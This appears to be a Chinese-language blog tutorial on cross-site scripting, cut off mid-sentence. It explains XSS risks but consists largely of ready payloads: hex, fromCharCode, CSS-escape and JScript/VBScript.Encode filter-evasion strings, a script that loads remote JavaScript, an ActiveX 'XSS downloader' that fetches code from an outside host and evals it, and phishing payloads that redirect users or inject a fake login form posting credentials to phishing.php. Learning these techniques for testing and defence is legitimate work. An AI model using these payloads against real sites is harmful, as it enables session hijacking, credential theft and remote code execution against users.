XSS Cross-Site Attacks
2024-04-21 00:54:17

什么是XSS?

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 Web 应用程序中的计算机安全漏 洞,是由于 Web 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本 代码(通常包括 HTML 代码和客户端 Javascript 脚本)注入到网页之中,当其他用户浏览这些网 页时,就会执行其中的恶意代码,对受害用户可能采取 Cookie 资料窃取、会话劫持、钓鱼欺骗 等各种攻击。
由于和另一种网页技术——层叠样式表(Cascading Style Sheets,CSS)的缩写一样,为了防 止混淆,故把原本的 CSS 简称为 XSS。 通常情况下,我们既可以把跨站脚本理解成一种 Web 安全漏洞,也可以理解成一种攻击手段。

XSS攻击流程

XSS 跨站脚本攻击本身对 Web 服务器没有直接危害,它借助网站进行传播,使网站的大量用户 受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意 URL,当 受害者在 Web 浏览器中打开该 URL 的时侯,恶意脚本会在受害者的计算机上悄悄执行,流程如图

图片.png

XSS 漏洞的危害

(1)网络钓鱼,包括盗取各类用户账号;
(2)窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操 作;
(3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发 送电子邮件等;
(4)强制弹出广告页面、刷流量等;
(5)网页挂马;
(6)进行恶意操作,例如任意篡改页面信息、删除文章等;
(7)进行大量的客户端攻击,如 DDoS 攻击;
(8)获取客户端信息,例如用户的浏览历史、真实 IP、开放端口等;
(9)控制受害者机器向其他网站发起攻击;
(10)结合其他漏洞,如 CSRF 漏洞,实施进一步作恶;
(11)提升用户权限,包括进一步渗透网站;
(12)传播跨站脚本蠕虫等;
##XSS攻击之利用字符编码
HTML 标签中的某些属性值可以使用&#ASCII 方式进行编码改写,这种 XSS 转码支持十进制和十六进制形式。

1.工具转码:使用在线工具将输入内容转码
2.函数转码:

1
2
3
4
5
JavaScript 中有一个 eval()函数,该函数可计算字符串,并执行其中的 JavaScript
代码,如下所示:
<script> eval("alert('XSS')"); </script>
我们可以使用\连接十六进制字符串,然后使用 eval()函数执行十六进制字符串形式的脚本, 如对 alert('XSS')进行十六进制转码后得到:
\61\6c\65\72\74\28\27\58\53\53\27\29

完整如下:
<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29"); </script>
3.函数结合转码:

1
2
3
string.formcharcode()用于将字符转为 ASCII
结合使用 eval()和 String.fromCharCode()函数后变成:
<embed src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

4.样式表转码

1
2
3
4
5
6
7
8
9
可以对 background 的属性值进行十六进制字符串形式转换: 
<style>
BODY {
background: \75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\6 6\29 }
</style>

<div style="xss:&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;(alert(1));" ></div>

<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\ 0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\002 9">

style 属性中的 javascript、expression 等字符一般会被程序过滤,但经过十六进制编码后则可 以逃避过滤

5.JScript Encode 和 VBScript Encode
脚本加密的两种形式:JScript 和 VBScript.
经过加密的脚本,能在 IE下正常运行,在其他浏览器下则不识别。
如 **alert(1)**使用 JScript Encode 加密的结果为:
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
经 XSS Expliot 后变为:
<script language="JScript.Encode"> #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ </script>
VBScript.Encode :

1
2
3
4
<a href=# language="JScript.Encode"  onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a> 
<iframe onload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@>
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe onload=VBScript&#46;Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>

复杂的

1
<div style="\000000000000000000000078\000000000000000000000073s:e&#x5c;&#x78;p&#47;&#42;&#106;&#110;&#118;&#42;&#47;\0072\0065ssion(window.x?0:(alert(/XSS/),window.x= 1));"></div> 

Shellcode

所谓的 Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行 的代码。在 XSS 跨站脚本中,是指由 JavaScript 等脚本编写的 XSS 利用代码。

【Exploit】
Exploit 的英文意思就是利用,在黑客眼里就是漏洞利用,通常表示完整编写好的漏洞利用 工具(或程序),具有一定的攻击性。 Exploit 很容易和 Shellcode 混淆,所以需要记住一点:Exploit 往往包含了 Shellcode。
【POC】
即 Proof of Concept 的缩写,是一段证明漏洞存在的程序代码片段。

在传统 XSS 的运用中,Shellcode 一般是直接写进页面中执行,不过实际环境中可能会遇到 重重阻挠,比如服务器端程序的过滤、输入字符有长度限制等,所以,攻击者往往会把 Shellcode 写到远程服务器上,然后使用

脚本:动态调用

1
2
3
var s=document.createElement("script");
s.src="http://localhost/XSS.js";
document.getElementsByTagName("head")[0].appendChild(s);

第一行代码使用 createElement()函数创建一个新元素——script。
第二行代码把#alert(‘xss’)

substr()可在字符串中抽取从 start 下标(这里是 1)开始的指定数目的字符,所以 location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即 alert(‘xss’)
eval()函数用来计算 某个字符串,并执行其中的 JavaScript 代码
eval(location.hash.substr(1))的功能就是执行 Url的#之后的 JavaScript 代码,
通过这个技巧,就能先把 Shellcode 写到地址参数中再执行

XSS Downloader:
将其存储到网站的数据库中,包括网 页信息、文章内容、个人资料等地方,然后再把它们下载下来执行。
简单地说,其实就是打造一个 XSS downloader(XSS 下载器),事先把 Shellcode 写在网站 的某个页面,再利用 XMLHTTP 控件向网站发送 HTTP 请求(POST 或 GET),然后执行返回的 数据。

POC复现:

1
2
3
4
5
6
7
8
function XSS(){ 
a=new ActiveXObject('Microsoft.XMLHTTP');
a.Open('get','http://www.bug.com/11221.html',false);/
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
}
XSS();

第一行:定义一个 XSS()函数,该函数也就是调用 Shellcode 的主函数。
第二行:创建一个 XMLHTTP 对象。
第三、四行:向 http://www.bug.com/11221.html 发送一个 HTTP 请求并获取 HTTP 响应。
第五行:获取 responseText,结果返回为字符串,把该变量赋值给 b 变量。
第六行:用 indexOf()函数计算 BOF|和|EOF 的位置,再用 substring()函数方法取出字符串, 最后用 unescape()函数方法解码执行。

XSS钓鱼方式

(1)XSS 重定向钓鱼(XSS Redirect Phishing)
(2)HTML注入式钓鱼(XSS HTML Inject Phishing)
(3)XSS 跨框架钓鱼(Iframe Phishing)
(4)Flash 钓鱼(Flash Phishing)

payload:

1
http:/.../index.php?search="'><script>document.location.href="http://..."</script> 

payload:
http://www.bug.com/index.php?search=”’<html><head><title>login</title></head> <body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/> <input name="login" /><br />Password:<br/><input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>

这段代码会在正常页面中嵌入一个 Form 表单,该表单可以覆盖 原页面显示,强迫用户输入账号和密码等信息。

这种方式是通过